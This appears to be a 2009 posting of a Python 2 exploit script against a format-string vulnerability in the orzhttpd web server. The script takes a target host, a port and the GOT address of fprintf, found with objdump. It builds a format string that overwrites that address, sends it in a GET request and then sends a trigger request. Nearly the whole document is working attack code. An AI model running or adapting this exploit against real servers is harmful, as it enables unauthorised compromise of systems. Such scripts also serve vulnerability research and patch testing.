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orzhttpd-format.txt

Posted on 03 December 2009

#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141

import os
import sys
import socket
import struct
import time
import urllib

GET = "GET "

def main(argv):
argc = len(argv)

if argc != 4:
print "usage: %s <host> <port> <address>" % (argv[0])
print "[*] find address with objdump -R orzhttpd | grep fprintf"
sys.exit(0)

host = argv[1]
port = int(argv[2])
addr = int(argv[3], 16)

print "[*] target: %s:%d:%s" % (host, port, argv[3])

try:
sd = urllib.urlopen("http://%s:%d" % (host, port))
sd.close()
except IOError, errmsg:
print "[*] error: %s" % (errmsg)
sys.exit(1)

time.sleep(1)

fmtstr = struct.pack('<LL', addr + 2, addr)
fmtstr += "%.16650x%19$hn%.514x%20$hn"

payload = GET
payload += fmtstr

print "[*] sending exploit format string to %s:%d" % (host, port)

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()

print "[*] sending trigger to %s:%d" % (host, port)

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(GET)
sd.close()

if __name__ == "__main__":
main(sys.argv)
sys.exit(0)

# EOF

 

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